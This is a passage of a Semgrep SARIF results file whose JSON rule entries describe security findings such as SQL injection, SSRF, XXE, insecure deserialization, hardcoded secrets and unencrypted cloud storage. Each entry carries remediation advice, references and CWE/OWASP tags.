Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n","text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","id":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","name":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.knex-express.knex-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.knex-express.knex-express","id":"javascript.express.db.knex-express.knex-express","name":"javascript.express.db.knex-express.knex-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.knex-express.knex-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected","id":"python.lang.security.audit.exec-detected.exec-detected","name":"python.lang.security.audit.exec-detected.exec-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.exec-detected.exec-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"help":{"markdown":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)\n - [https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration](https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration)\n","text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"helpUri":"https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","id":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","name":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"help":{"markdown":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2)\n - [https://jinja.palletsprojects.com/en/2.11.x/api/#basics](https://jinja.palletsprojects.com/en/2.11.x/api/#basics)\n","text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","id":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","name":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"help":{"markdown":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password)\n - [https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password](https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password)\n","text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","id":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","name":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"help":{"markdown":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)\n","text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","id":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","name":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","id":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","name":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.audit.jose-exposed-data.jose-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"help":{"markdown":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type)\n - [https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html](https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html)\n","text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","id":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","name":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"help":{"markdown":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io)\n","text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","id":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","name":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django","id":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","name":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-joblib-django.tainted-joblib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been 